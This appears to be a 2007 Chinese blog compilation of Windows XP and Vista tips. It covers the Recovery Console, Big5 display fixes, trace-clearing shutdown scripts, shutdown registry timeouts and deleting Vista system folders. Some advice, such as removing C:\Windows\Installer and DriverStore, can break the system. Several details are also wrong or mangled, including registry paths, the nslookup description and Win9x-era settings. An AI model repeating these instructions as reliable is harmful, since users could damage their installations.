　　插入WindowsXP安装光盘，单击“开始”/“运行”，输入\i386\winnt32.exe/cmdcons命令后回车，在出现的对话框中显示了“故障恢复控制台”安装选项，单击“是”后确认，重新启动计算机即会在启动菜单中看到“Microsoft Windows Recovery Console”菜单，选中后即可进入“故障恢复控制台”。

　　②控制台光盘安装

　　首先在BIOS中将启动顺序设置为CD-ROM，再在光驱中插入WindowsXP安装光盘启动系统，在屏幕显示“欢迎使用安装程序”时，按R启动故障恢复控制台。接着系统会要求输入管理员密码，输入后即可进入故障恢复台。若安装了多系统，则需要通过光标键来选择故障恢复台项，对于使用了SCSI或RAID的硬盘，则在其启动时要按F6键。若要担心忘记管理员密码，可在WindowsXP正常启动时，运行Gpedit.msc进入策略编辑器，再依次选择“本地计算机策略”/“计算机配置”/Windows设置/“安全设置”/“本地策略”/“安全选项”，在右侧的窗口的双击“故障恢复控制台:允许自动系统管理级登录”项，鼠标右击，选择“启动”，单击“确定”按钮后保存设置，进入故障恢复控制台就不用输入密码了。

　　⑵“故障恢复控制台”应用

　　①修复受损的多启动菜单

　　如果多操作系统菜单因为某种原因丢失，则可以进入“故障恢复控制台”，输入Bootcfg/scan命令，会自动扫描所安装的操作系统并显示出来，完成后再输入Bootcfg/rebuild命令，出现提示后按Y键，在“输入加载识别符”提示后输入丢失的启动菜单项，在“输入OS加载选项”后输入fastdetect后回车，即可找到多系统菜单。另外输入Bootcfg/add命令也可以向启动菜单中添加菜单项，使用方法基本同上。

　　②修复系统引导区

　　当系统引导区因为某种原因造成损坏而不能启动时，可以进入故障恢复控制台，在命令行下输入Fixboot可以修复引导区。　　
　　③恢复系统重要文件

　　系统中有一些重要的文件直接关系着是否能启动成功，如Ntldr这个文件丢失，系统就启动不起来，这时可以进入控制台，键入命令行copy x:\i386\ntldr*.* c:\后回车即可，重新启动后会发现能够正常进入WindowsXP了。如果丢失的是一些压缩文件，还可以在控制台输入expand x:\i386\a.ex_ c:\windows\(x代表光驱盘符，a.ex_代表需要解压的文件，c:\windows指的是目标文件夹，这些都要根据具体情况来定),即可将丢失的文件恢复至系统。

　　④启用或禁用某些服务或驱动程序

　　这一功能主要应用于由于安装某些新的程序造成系统无法启动的情况，我们可能通过在故障恢复控制台中去掉该项服务或程序以达到系统起死回生的目的。具体操作如下:

　　进入控制台，输入Listsvc命令后回车，在屏幕上会出现当前系统中已有的所有服务和驱动程序以及其状态说明。找到需要禁用的可疑服务或驱动程序，输入命令 disable 需要禁用的程序或服务，回车后屏幕上会显示出该服务以前的状态和完成后的状态;如果想雇用某个程序或服务，则需要键入Enable 需要禁用的程序或服务，回车后即可。

Win2000/XP/Vista解决繁体字最佳方法

2007-01-28T21:48:00.000+08:00

喜欢玩游戏的人都会遇到一个尴尬：港台出品的繁体游戏在简体中文Windows下显示乱码的问题，给我们带来了极大的不便。其实乱码产生的主要原因是港台Windows所使用的语言代码页是Big5编码，而内地是国标(GB)，如果游戏不是按照Unicode编码设计的就会出现乱码问题。

　　安装繁体中文的Windows

　　这是最直接，也是最彻底的解决办法了。只要在现有的硬盘划分出一定空间再安装一个繁体中文版的Windows即可。Windows的安装程序会自动创建多重引导菜单，每次开机只要在30秒之内选择进入简体或者繁体版的Windows即可。这样做的好处就是，不再需要协调不同软件对Windows系统语言的不同要求;缺点是占用更多的硬盘空间。

　　修改系统语言代码页设置

　　还有一种方法是修改“控制面板”的语言代码页设置。点击“开始”菜单，选择“控制面板”，然后再选中“日期、时间、语言和区域选项”。在“语言和区域选项”的窗口选中“高级”这一页，然后将“非Unicode程序语言设置”这一项由“中国内地Chinese(PRC)”改成“中国香港Chinese(HongKongS.A.R.)”或者台湾省也可以，然后按“确定”按钮保存修改。

　　这时还没有做完所有的步骤!要重新启动一次，设置才能开始生效。反之亦然。这样修改的好处是不用再安装一个繁体版的Windows，缺点是转成繁体后对简体中文的软件会有影响，如果要使用简体软件还需要改回来。

　　使用微软的语言设置工具

　　很多人都不知道，微软对此还专门制作了一款免费的语言设置工具。不过这个语言设置工具没有随WindowsXP/Vista发行，需要自行去网上下载。这个小工具的名字叫做“MicrosoftAppLocale”(微软的免费下载地址：www.microsoft.com/downloads/details.aspx?FamilyID=16712f0b-a935-4140-9163-1514c89f6ddd&&displaylang=zh-cn)

　　通过Applocale设置之后，不管是使用GB文字编码的程序，还是需要DirectX的GB码版本的游戏，都可以正确地显示繁体中文，如同在繁体版Windows一般，这种方法可能是目前最佳的解决办法了。

Windows操作系统使用记录自动清除技巧

2007-01-28T21:45:00.000+08:00

使用Windows久了，系统就会出现垃圾，或者我们不想让别个看到我们的电脑操作记录，那么用自动清理是最好的方法，下面就给大家讲一些这方面的技巧。

　　启用过时资源记录自动清理

　　1. 打开 DNS。

　　2.在控制台树中，右键单击适当的 DNS 服务器，然后单击“属性”。

　　3. 单击“高级”选项卡。

　　4. 选中“启用过时资源记录自动清理”复选框。

　　5. 要调整“清理周期”，请在下拉列表中选择以小时或天为单位的时间间隔，然后在文本框中键入一个数。

　　注意

　　要执行该过程，您必须是本地计算机上 Administrators 组的成员，或者您必须被委派了适当的权限。如果计算机已加入某个域，则 Domain Admins 组的成员可能会执行该过程。作为安全性最佳操作，请考虑使用“运行方式”执行此过程。详细信息，请参阅默认本地组、默认组以及使用“运行方式”。

　　要打开“DNS”，请依次单击“开始”和“控制面板”，双击“管理工具”，然后双击“DNS”。

　　让XP关机时自动清理页面文件

　　使用电脑时，一些Word文档或者打开的网页等就会被载入到内存，而为了节省出内存空间，Windows会把不同的文件放到系统的页面文件中，页面文件就象一个临时仓库。微软提供了一种方法可以在关闭Windows XP时自动清理页面文件，默认情况下这一功能是关闭的，下面我们将介绍如何启用这一功能。不过要注意的是，启用这一功能后，因为要执行清理操作，所以关机时间将会变长。(相关文章:XP网络不能互访的解决之道)

　　操作步骤

　　1.单击“开始”菜单，单击“运行”，在对话框中输入“Regedit”，然后单击“确定”，运行“注册表编辑器”。如果不熟悉注册表知识，可以先看一下这里。

　　2.浏览到“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management”，然后在右边的列表中双击“ClearPageFileAtShutdown”。

　　3.在弹出的“编辑DWORD”值对话框中，选择基数为十六进制，并将左边的“数值数据”改为1，这样就启用了关机时自动清理页面文件功能。

　　4.重新启动计算机，使修改生效

　　清除IE临时文件

　　Windows或应用程序在运行时通常都会产生临时文件，虽然部分临时文件在Windows或应用程序正常退出时会被自动删除，但由于Windows的不稳定，或者是因为程序功能的不完善，经常会有临时文件成为“漏网之鱼”。这样，随着时间的推移，临时文件逐渐堆积，不仅占用了用户宝贵的硬盘空间，而且也极大地影响了系统的运行效率。下面，笔者就如何有效地删除临时文件给出两种方法，希望能给大家一些启示。

　　方法一:打开“开始”菜单，选择“搜索→文件或文件夹”，然后在对话框的“要搜索的文件或文件夹名为”栏内输入“*.tmp”(tmp为临时文件的后缀名)，在对话框的“搜索范围”栏的下拉列表中选择“本机硬盘驱动器”，单击“搜索选项”，勾选“高级选项”及其下的“搜索子文件夹”项，最后单击“立即搜索”按钮。待搜索完毕后，切换至“搜索结果”页面，按“Ctrl+A”组合键或选择工具栏菜单的“编辑→全部选定”项选择所有的文件，按“Del”键或选择工具栏菜单的“文件→删除”项，即可一次性删除用户计算机上所有以.tmp为后缀的临时文件。

　　方法二:为了加快访问速度，IE会将曾经浏览过的网页等内容存放在Temporary Internet Files文件夹中。如果我们不希望他人从这里窥视自己的秘密，可以利用关机脚本让系统自动在关机前进行清理，这里介绍一下具体的操作(以Windows XP为例)。

　　在“C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown”目录下，新建一个批处理文件Cleanup.bat，内容可根据需要编写。清除IE临时文件的命令为“DEL/Q/S "C:\Documents and Settings\<用户名>\Local Settings\Temporary Internet Files"”。其中参数/Q表示使用安静模式，即删除全局通配符时，不要求确认;参数/S表示从所有子目录删除文件。

　　单击“开始” “运行”，在运行命令框中输入“Gpedit.msc”，打开组策略窗口。在左侧的控制台树窗格中，依次展开“计算机配置” “Windows设置” “脚本(启动/关机)”节点，双击右侧详细资料窗格中的“关机”项目，在弹出的“关机属性”对话框中点击“添加”按钮,将Cleanup.bat添加为新的计算机关机脚本。设置完成后，退出组策略窗口，重新启动计算机即可。

　　方法三:打开“开始”菜单，选择“程序→MS-DOS方式”，用纯文本编辑器编辑Autoexec.bat文件(即在DOS方式下运行命令:“edit autoexec.exe”)，在这个自动运行的批处理文件中，环境变量temp和tmp定义了Windows运行过程中临时文件的存储位置，默认位置为“\windows\temp”文件夹)。

　　原Autoexec.bat文件为:

　　SET COMSPEC=C:\WINDOWS\COMMAND.COM

　　SET windir=C:\WINDOWS

　　SET winbootdir=C:\WINDOWS

　　SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND

　　SET PROMPT=$p$g

　　SET TEMP=c:\windows\temp

　　SET TMP=c:\windows\temp

　　经编辑后的Autoexec.bat文件为:

　　SET COMSPEC=C:\WINDOWS\COMMAND.COM

　　SET windir=C:\WINDOWS

　　SET winbootdir=C:\WINDOWS

　　SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND

　　SET PROMPT=$p$g

　　deltree /Y x:\temp(删除临时文件文件夹，其中x为该文件夹所在的驱动器)

　　md x:\temp(创建临时文件文件夹,X为你的盘符)

　　SET TEMP=d:\temp

　　SET TMP=d:\temp

　　文件编辑完毕后存盘即可。经过以上的设定，用户以后每次启动计算机都会自动删除临时文件。

　　清除IE地址栏记录

　　前面清除的IE历史记录还不够彻底，当我们在IE地址栏中输入与曾经输入过的URL一样的字符串时，仍会显示出相关的网址记录。要想清除这些记录，则必须将注册表[HKEY CURRENT USER\Software\Microsoft\Internet Explorer\TypedURLs]分支下的键值全部删除。

　　用记事本创建一个脚本文件，脚本内容如下:

　　Dim WSHShell

　　Set WSHShell = WScript.CreateObject("WScript.Shell")

　　WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\", ""WSHShell.RegDelete "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\"上述脚本共有四句:第一句定义一个变量WSHShell，第二句创建一个对象，第三句写入注册表，如果注册表中不存在该项，执行脚本时会出现错误提示。输入以上内容后将其保存为Cleanup.vbs。注意，后缀名一定要是vbs，这样才能保证脚本的正常执行。

　　编写完成后，在组策略窗口中依次展开“用户配置” “Windows设置” “脚本(登录/注销)”节点，双击右侧窗格中的“注销”项目，在弹出的“注销属性”对话框中点击“添加”按钮,将Cleanup.vbs添加为注销脚本。这样，当计算机注销或关机时就会自动清除IE地址栏记录。

　　前面介绍了利用关机和注销脚本自动清理上网痕迹的方法，如果你还有其它的项目需要清理，也可以参照上述方法。这里要提醒读者的是，利用脚本实现自动清理前，最好先用手工方式彻底清理一次。

　　清除IE历史记录

　　清除IE历史记录通常的方法是“Internet选项” “常规” “清除历史记录”。不过，我们同样可以利用关机脚本来实现自动清理。在前面建立的Cleanup.bat批处理文件中添加一条命令“DEL/Q/S "C:\Documents and Settings\<用户名>\Local Settings\History"”即可。

只需2、3秒：加快Windows Vista启动/关机速度

2007-01-28T20:53:00.000+08:00

长期以来，Windows 系统缓慢的关机速度一直为人诟病，用户往往需要等待很长时间才能把系统关闭，这一问题在Windows Vista中也没有得到很好的解决，——也许微软将Windows Vista开始菜单中的关机(Power)按钮预设为进入睡眠状态而不是传统意义上的关机，也有这方面的考虑? 毕竟进行睡眠状态的速度是有保障的。——当然，这也与Windows 系统自身的机制有关：Windows在发出关机指令后，需要首先通知已加载有服务、应用程序和进程等，待其逐一关闭后才能进行系统关机或重启的任务，此外，关机前要进行的操作还包括如清理页面文件等，需要对页面文件中的每个页面执行物理写入操作，从理论上讲，这些过程是不可省略的，不然将影响系统的稳定性。

　　因此，对用户而言，要加快Windows Vista的关机速度，在保证系统稳定性前提下可做的优化不是跳过类似的服务、应用程序或进程的关闭，而是通过尽量缩短关闭前的等待时间。那么，在Windows Vista中，应如何操作呢?

　　同之前的Windows系统一样，我们可以通过修改注册表调整相应选项来实现。

　　缩短关闭服务前的等待时间

　　上面我们提到过，在Windows Vista的关机流程中，系统首先向已加载的服务发出关闭警告，然后等待这些服务自动关闭后给出的关闭信号，如果在设定的等待时间期限后仍未收到关闭信号，Windows系统将相应的服务实施强行中止关闭。

　　要加快Windows Vista的关机速度，首先可以通过缩短系统默认的关闭服务等待时间来实现。打开注册表编辑器，找到如下注册表项：

　　HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control

　　在右面板中，可以看到一个名为“WaitToKillServiceTimeout”的注册表项，双击以修改它，将它的数值从默认的20000(单位为毫秒)调整到一个较小的数值，如5000 甚至1000等，这样，如果Windows Vista在设置的5秒(5000)或1秒(1000)内没有收到服务关闭信号，系统即会弹出一个警告窗口，通知用户该服务无法中止，并给出强制中止服务或继续等待的选项等待用户选择。

　　缩短关闭应用程序与进程前的等待时间

　　与关闭服务前的等待时间类似，Windows Vista在强行关闭应用程序与进程前同样有一段等待该程序或进程自行关闭的时间，只有超过该时限后，Windows 系统才会将其强行中止。

　　因此，缩短默认关闭应用程序或进行等待时间，同样能够加快Windows Vista的关机速度。

　　设置方法同上面类似，在注册表中找到如下分支：

　　HKEY_CURRENT_USER\Control Panel\Desktop

　　双击右侧面板中的 “WaitToKillAppTimeout” ，将其值从默认的 20000(单位同样为毫秒)修改为较小的5000或1000，这样，Windows在发出关机指令后如果等待5秒或1秒仍未收到某个应用程序或进行的关闭信号，将弹出相应的警告信号，并询问用户是否强行中止。

　　在右侧面板中还有一个名为 “HungAppTimeout” 的注册表项，该项对应于系统在用户强行关闭某个进程或应用程序后，如果该对象没有响应时的等待时间。其默认值为“5000”，一般可将其修改为“1000”。

　　然后，在如下的注册表分支：

　　HKEY_USERS\.DEFAULT\Control Panel\Desktop\

　　重复上面的操作，即修改“WaitToKillAppTimeout”与 “HungAppTimeout” 两个注册表项的值。

　　在关机或注销时自动中止应用程序或进程

　　不过，即便我们将 “HungAppTimeout”的值设得很小，并不意味着Windows Vista在等待时间超过该时限后便会自动中止该程序或进程，而仍会弹出对话框让用户确认是否中止。如果您感觉这样的方式过于繁琐，可通过修改注册表项让Windows Vista在超过等待时限后自动强行中断该进程的运行。

　　找到如下的注册表分支：

　　HKEY_CURRENT_USER\Control Panel\Desktop registry

　　可看到项中有一名为“AutoEndTasks”的注册表项，其默认值为“0”，将其修改为“1”即是让Windows Vista自动终止所有的进程，而不再需用户的确认。

　　以保证系统的稳定性为前提

　　尽管上面的方法在某些情况下可以明显加快Windows Vista的关机速度。不过，需要强调的是，无论“WaitToKillServiceTimeout”、“WaitToKillAppTimeout”还是“HungAppTimeout”，对Windows 系统而言都是相当重要且不可缺少的参数，设置不当将影响系统的稳定性或遗失用户重要数据的后果。

　　以“WaitToKillServiceTimeout”为例，Windows 系统使用WaitToKillServiceTimeout的目的是为了给相应服务一段缓冲时间，让这些执行中的服务能够将缓存中的数据在系统关闭前写回去，如果没有保留足够的缓冲时间，数据便可能丢失而造成无法预知的后果，因此，一般不要将其时长设置得过短，至于将其设为“0”则更是不恰当的。

让Windows XP系统性能更优越的四招

2007-01-28T20:52:00.002+08:00

每运行一个程序，开多个窗口，都发觉计算机要疯狂地对硬盘进行读写操作，有时连关闭程序都有些叫人无法忍受，哪怕你拥有64M以上的内存。这个时候，你该优化一下你的系统了。

　　一、去掉任务栏中的“垃圾”后台程序

　　先看看你系统目前资源的可用情况：我的电脑->控制面板->系统，选择性能，由“系统资源”可以看出目前你系统的使用情况。刚开机，未运行什么程序之前，这个百分数为90%以上才能说明你的系统优化的相当好，没有被一些后台垃圾程序占据。

　　要是一机，你这个百分数少于50%，那你系统的资源是浪费的相当厉害了。再多开几个窗口，运行几个程序，你的系统就会进入及不稳定的状态，死机、自动重起也就成理所当然的了。

　　虽然现在有许多系统优化软件可以自动对系统进行优化，但其一般要对注册表进行直接操作，免不了具有一定的危险性，重则系统都不能再启动了！要想来学东西，还是自己多来动动手吧。

　　首先看看屏幕右下脚的任务栏，

　　有好几个后台任务在占用着系统资源，而这些程序许多又是用的比较少的。
www.knowsky.com

　　RealPlayer的StartCenter、Winamp的Agent、超级解霸的自动诊测等的后台程序虽然声称可以加快自己程序的启动速度，并提供自动监测打开文件的相关功能，但实际使用效果并不显著，反而占用了不少系统资源。建议只保留必要的一些后台程序，如防火墙、防毒墙等。

　　如何关闭一些一启动就有的而又不需要的程序呢？首先看看：开始->程序->启动，里面的东西基本上都可以删除，特别象一些“Office启动”、“文件检索”等特耗资源的程序。除非你想在机器一启动的时候就运行某个程序。

　　许多处于任务栏中的后台程序不是通过这种方式启动的，要删除它们就要对注册表进行处理了。注册表是Windows系统系列用来保存系统硬件、软件配置信息的重要场所。对其不正确的的操作有可能导致灾难性的后果，好在，Windows本身提供了一个应用程序可对涉及启动的项目进行安全的操作，就是“系统配置使用程序”。可通过如下途径启动：开始->运行，输入“msconfig”，确定。

　　可见，有“常规”、“Config.sys”、“Autoexec.bat”、“System.ini”、“Win.ini”和“启动”六个标签。我们要涉及的也就“Config.sys”、“Autoexec.bat”、和“启动”三个标签。实际上，Config.sys和Autoexec.bat中的项目都可以不选中，即去掉所有的勾。

　　进入“启动”标签中，在这就可以将与正常操作无关紧要的项目前面的勾去掉了。确定后，要求重新启动才可以生效。重新启动，再看看系统的可用资源，是不是有了很大的变化！

　　当然有部分特殊的后台程序还是不能由这种方法处理掉。比如RealPlayer的StartCenter，虽然可以在“启动”标签中去掉起选择项，但重新启动后又会自动加入一行。要去掉它，就要在其运行程序中进行相关配置。

　　二、提高文件系统的性能

　　把机器文件系统设为网络服务器，可以使得Windows用更多的物内存作磁盘预读（包括光盘）。但Windows不会把其应用程序所需的内存也占用掉，而是自动以适应各种用程序对内存的需要。

　　具体做法如下：我的电脑->控制面板->系统，选中性能标签并且单击File System（文件系统）按钮，从下拉式列表中选择Netowrk Sever（网络服务器），然后确定。重新启动后，该项设定就正式生效。

　　三、打开文件系统的DMA模式

　　这个特性是针对硬盘以及光盘驱动器的直接存储器访问（DMA，Direct Memory Access的缩写）来最大限度提升系统性能，因为现在个人计算机的最大瓶颈就是在磁盘的输入输出上。DMA可使PC机直接访问硬盘驱动器上的数据，但并不占用太多的CPU时间（与PIO模式相比），从而使你的CPU可执行其它任务，

　　具体做法如下：我的电脑->控制面板->系统，选中“设备管理器”标签，展开硬盘控制器或CDROM项，选择展开中相应的驱动设备，单击“属性”，接着选“设置”并选中DMA复选框，重新开机后即可。

　　当然要使用DMA模式，你的CDROM及硬盘要支持相应的功能才可以。要是你的CDROM和硬盘都太老，可能就不能享受该功能的优越性了。

　　四、整理磁盘碎片

　　Windows9x系列用的是FAT文件系统，由于采用链接表的形式，在刚开始的时候文件的各个扇区是连续存放的，但随着更多文件建立、删除等操作，新建立的文件就开始分布于不连续的磁盘扇区，中间分布有其它文件的扇区和/或空扇区。随着更多文件操作的进行，不连续的空扇区就分布的更加散乱，这就称为磁盘碎片。可不是字面意思的“磁盘出现了物理的小碎片”！

　　整理磁盘碎片就是对文件进行移动等处理，让文件按扇区连续存放，使空白扇区集中到一起，降低系统读写文件时磁头移动、定位的时间，从而提高文件的读写时间。

　　虽然Windows也提供有一个“磁盘碎片整理程序”用来整理磁盘碎片，但这个程序的算法相当的愚蠢，不仅整理耗时，而且整理后又相当容易又出现许多磁盘碎片。

　　可以采用许多第三方提供的磁盘碎片整理工具，如Norton的peed Disk，其处理速度快、效率高。另外建议在整理磁盘时，关掉任何窗口和后台程序，如杀毒软件、网络防火墙等。因为这些后台程序会时不时对磁盘进行读写操作。碎片整理程序监测到有磁盘读写操作时，会重新开始整理。

　　经过以上的处理，相信你的系统已经得到了相当程度的优化，再运行一些大程序及开多些窗口时，是不是觉察到跟以前不一样了！

减少Windows Vista资源占用

2007-01-28T20:52:00.001+08:00

Windows Vista要占用大量的系统资源，下面的这些方法可以帮助我们减少Vista占用的硬盘空间。

　　C:\Windows\Web\Wallpaper

　　里面是Windows自带墙纸，不需要的可以删除掉，或者转移至其他盘(45.5M)

　　C:\Windows\System32\DriverStore\FileRepository

　　这个文件夹中是Window自带驱动备份，一般来说都不需要，所以可以删除(1.03G)

　　当然了，如果你想直接删除这个文件夹的话，系统会提示你没有权限，所以我们就要获得这个权限。首先在C:\Windows\System32\DriverStore\FileRepository上点击右键-属性，我们先来获得这个文件夹的所有权，点安全-高级-所有者，接着点编辑-高级其他用户或组，在输入选择的对象名称里面输入你的用户名，或者点高级-立即查找，选择你的用户名，确定，然后选择替换子容器和对象的所有者，不选择这个的话，我们就只有这个文件夹的所有权，并没有他的子文件夹和里面的文件的所有权，然后应用-确定，这样我们就拥有了这个文件夹的所有权，因为之前这个文件夹的所有权是属于System，并不属于我们。再点权限-编辑-添加，把你的用户名填入或者用高级-立即查找，确定，再点击你的用户名-编辑，把完全控制/允许那个打勾，确定，再把使用可从此对象继承的权限替换所有后代上现有的可继承权限打勾(我靠微软，真TMD复杂，你一句应用到所有子文件夹和文件不就行了嘛)，同前面，这个不打勾你就只有外面那文件夹权限，里面的文件夹还是不能“完全控制”，然后点应用-确定-确定-确定。好了，里面的文件夹，你想怎么删就怎么删吧。

　　C:\Boot

　　这个里面是不同语言的Windows启动界面，除zh-CN外均可删除，直接删除会提示无权限，方法同上(13.3M)

　　C:\perflogs\System\Diagnostics

　　这个里面是你进行了Windows Vista系统测试之后的测试记录文件存放处，按照不同的日期一个文件夹来存放，不需要的可以删除之(9.39M)

　　C:\Windows\Downloaded Installations

　　有一些程序(Dreamweaver。)安装的时候会把安装文件解压至此文件夹里面，可以删除之

　　C:\Windows\Help

　　这个不用说了吧，帮助文件，可以删除。建议暂时保留，因为对这VISTA还不怎么熟悉，有时有点用出(105M)

　　C:\Windows\IME

　　输入法文件，不清楚具体的哪个文件夹对应哪个输入法(136M)

　　C:\Windows\Installer

　　已安装程序的卸载修改时所需程序，如果确定该程序安装后不用卸载，可以删除之，要不然以后要删除可能删不了(不过也可以重新安装再删)，所以删了吧，按安装程序的数量，几十到几百M不等

　　C:\Windows\winsxs

　　此文件夹总大小在3-4G左右，里面应该是系统文件，不清楚具体用途

　　C:\Windows\winsxs\Backup

　　这个里面是一些备份文件，可以删除(353M)

　　C:\ProgramData

　　一些程序安装时会放一些文件到这里面，看需要删除，例如我装了iTunes之后会出现C:\ProgramData\Apple Computer\Installer Cache\iTunes 7.0.2.16这个文件夹，里面其实就是安装文件，可以删除，但是有些是软件运行时需要的文件，不能乱删，自己看着是安装文件的就可以删，此文件夹大小几十到几百M不等

　　C:\Users\Public

　　所有用户公用文件夹，里面有一些示例图片、视频等，可以删除之(217M)，其中C:\Users\Public\Recorded TV\Sample Media为Windows Media Center的示例电视录制文件(143M)，C:\Users\Public\Music\Sample Music为示例音乐(59M)，

　　C:\Users\Public\Pictures\Sample Pictures为示例图片(4.7M)，C:\Users\Public\Videos为示例视频(9.6M)

　　C:\Windows\Web\Wallpaper(45M)

　　C:\Windows\System32\DriverStore\FileRepository(1030M)

　　C:\Windows\Help(105M)

　　C:\Users\Public(217M)

　　这4个一删除，1397M!加上其他的一些东西，随随便便2G的空间就给省下来了，然后把用户文件转移至其他盘，页面文件弄到其他盘，C盘不会超过5G的。

　　下一页为先前的瘦身技巧(供参考)

　　Vista 系统安装后占用硬盘空间庞大,初次安装后的文件夹占用空间为:

　　build 2.12 GB (2,281,192,634 bytes)

　　InstalledRepository 177 MB (186,577,063 bytes)

　　packages 510 MB (535,020,852 bytes)

　　Program Files 628 MB (659,145,925 bytes)

　　Users

　　Windows 4.81 GB (5,172,100,125 bytes)

　　在 Vista 系统中测试操作

　　1. 直接删除 InstalledRepository文件夹(177MB),成功

　　2. 直接删除 packages文件夹(510MB), 成功

　　3. 直接删除 build 文件夹(2.12GB), 提示不能删除, 全部选择为跳过, 删除后剩下 274M 文件.

　　然后对系统测试, 一切正常.

　　本次操作成功为 Vista 减肥 2.5G

你装了SP2吗? XP可多用户同时登录了

2007-01-28T17:56:00.000+08:00

据微软Windows XP SP2新闻讨论组的电脑玩家称：他们发现XP SP2终于包含了又一个让用户期待已久的新特性：允许连接会话并发。按照他们叙述，只要安装并运行XP SP2 Beta，用户就可以简单的通过修改注册表来达到打开此新特性的效果。进行有效的修改后，用户可以通过控制台或者远程桌面进行多用户同时登录，而在没有加入这个从目前Windows 2003当中才有新特性之前，XP系统是不允许多用户同事登录的。

　　具体修改方法，打开注册表编辑器，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Licensing Core

　　建立一个新键。类型为DWORD，键名为"EnableConcurrentSessions"，键值为“1”。这样您的系统就可以支持这个新特性了。

但是据试验证实，这样的并发连接最多支持两个用户同时登录一个系统，并且不能使用相同的帐号。当第三个用户发出连接请求时会提示希望断开原有的两个登录用户中的一个连接。

隐藏在Windows XP中的28个秘密武器

2007-01-28T17:55:00.000+08:00

Windows XP现在大家都在用了，不过，隐藏在它其中的秘密武器可不是人人都找得到，下面就让我带大家来寻找Win XP中的28个秘密武器。

　　1、免费的系统教程(system32文件夹下)

　　安装完windows xp后很想马上学习并体验一下它的魅力吗？我们无需再东奔西走去
找烦人的文字教材。只要选择“开始”→“漫游windows xp”，就会出现界面，它将引导我们游历windows xp的新功能。

　　小提示：windows xp中自带的教程非常形象，是图形界面的，而且制作得相当精美，微软的权威性可想而知。如果你的“开始”菜单上没有“漫游windows xp”项目，则可以运行c:＼windows＼system32＼tourstart.exe进入。

　　2、辅助功能向导——Accwiz(system32文件夹下)

　　我们知道，微软在windows中为残疾人士提供了辅助功能，使他们也能xx作计算机。该程序可以根据用户的视觉、听力和行动来配置我们的windows，使残疾人士能根据自身情况更好地使用windows。

　　3、字符映射表——Charmap(system32文件夹)

　　是不是觉得word的“插入符号”功能非常方便？我们在其他windows程序中也常常要插入一些特殊符号，而一个个地找又麻烦，这时可使用“字符映射表”程序帮忙。通过“字符映射表”可查看选定字体中有哪些字符，选中后单击“选定”和“复制”按钮，即可把选定字符复制到windows剪贴板中，供字处理软件粘贴使用。

　　小提示：用它来复制特殊字体中的特殊符号特别有用。

　　4、仓颉拼音输入法——Cintsetp(system32＼ime＼cintlgnt文件夹下)

　　微软新仓颉输入法98b的安装程序，微软把它放在简体中文版windows xp中，但埋藏得较深。不过它很有用，安装后就会在windows中新增一个“中文(台湾)”的仓颉输入法，利用它可以在简体中文windows xp上通过输入繁体汉字。这对于从中国港澳台地区至内地工作的人提供了方便。

　　5、磁盘清理大师——Cleanmgr(system32文件夹下)

　　尽管现在的硬盘越来越大，但它总有容量的限制。在你不经意地安装这个或那个软件的过程中，可能会因为硬盘空间已频频告急而影响了正常windows程序的执行。不要急，请打开此程序，它会自动地释放出一部分硬盘空间，并会智能化地进行删除xx作，保证你的系统万无一失。这比从资源管理器中删除要安全多了。

　　6、剪贴板查看器——Clipbrd(system32文件夹下)

　　windows剪贴板为我们在各个windows程序间的信息交流提供了一个桥梁。但这部分数据一般情况下无法看到。不过，使用剪贴板查看器就可看到当前剪贴板中的“新大陆”。windows xp中的剪贴板查看器程序较原先windows 9x/me的旧版本多出了共享功能，通过设置权限允许其他网上用户将该剪贴板装入使用。

　　7、控制面板启动器——Control.exe(system32文件夹下)

　　控制面板是windows的一个重要组成部分，许多设置都通过他完成。而双击这个文件就是最快打开系统控制面板的方法，可省去从“开始”菜单上层层点击的麻烦。

　　8、Windows xp的诊断医生——Drwtsn32(system32文件夹下)

　　drwtsn32是一个程序错误调试器。drwatson程序会获得并记录运行windows的计算机上的程序错误的信息。只要检测到错误，就会创建一个文本文件(drwtsn32.log)，提供错误原因的详细说明，并给出解决问题的建议性xx作，在与microsoft技术支持联系并请求帮助时，drwatson将会起到很大作用。

　　9、DVD播放器——Dvdplay(system32文件夹下)

　　随着dvd驱动器和dvd光盘价格的下降，在普通家庭电脑上配置一个dvd播放器已不是一件奢侈的事情。而要播放dvd需要播放器的支持，windows xp提供了一个“免费”的dvd播放器，有了它我们可以省去一笔购买第三方dvd播放软件的费用。

　　10、自解压文件制作工具——Iexpress(system32文件夹下)

　　用过压缩软件的读者一定对自解压文件不陌生，自解压文件可在没有相应解压缩程序的情况下直接将压缩包文件解压缩到相应的文件夹下，极大地方便了用户。利用iexpress可制作两种自解压文件，一种是标准自解压文件(standard self-extractor)，另一种是安装程序式自解压文件(self-extractor for software installation)，这样我们在发布程序时就方便多了。另外大家要注意，尽管使用iexpress的运行界面是英文的，但利用它生成的自解压文件却是中文的，省去了繁琐的本地化工作。

　　11、文件转移向导——Migwiz(system32＼usmt文件夹下)

　　windows系统的易用性总是和不稳定性共存的，因此在系统健康之时把当前设置保存下来，供系统崩溃后重新安装时使用是个不错的主意。微软已把这个工具集成到“文件和设置转移向导”程序上。通过它，我们就可以实现系统状态的备份与恢复。

　　12、系统配置程序——Msconfig(windows＼pchealth＼helpctr＼binaries文件夹下)

　　和windows中的系统配置程序一样，通过这个程序，我们可对系统的一般、system.ini、win.ini、boot.ini、服务和启动项目进行修改。

　　小提示：用它来去除系统自启动程序特别有效。

　　13、备份工具——Ntbackup(system32文件夹下)

　　数据是计算机中最为宝贵的资料，因此经常备份你的资料也应该成为一个好习惯。现在许多人都寻求第三方的备份工具，其实大可不必。使用windows xp中内置的备份工具就可以非常方便地将资料进行备份，而且由于你使用的是微软产品，所以根本不存在兼容性问题。

　　　

　　14、ODBC数据源管理器——Odbcad32(system32文件夹下)

　　在windows中访问odbc数据源必须要有其驱动程序，该工具可以查看在windows中已安装的驱动程序及相关信息。

　　15、IP地址侦测器——Nslookup(system32文件夹下)

　　在联入互联网的每台电脑都有一个ip地址，同样，每个网站也有它的ip地址，而且是唯一的。通过这个ip侦测工具ping就可以轻而易举地得到它们的真正ip地址。如笔者要想知www.xxx.com的ip地址，...s窗口下输入pinghttp://www.xxx.com即可看到。

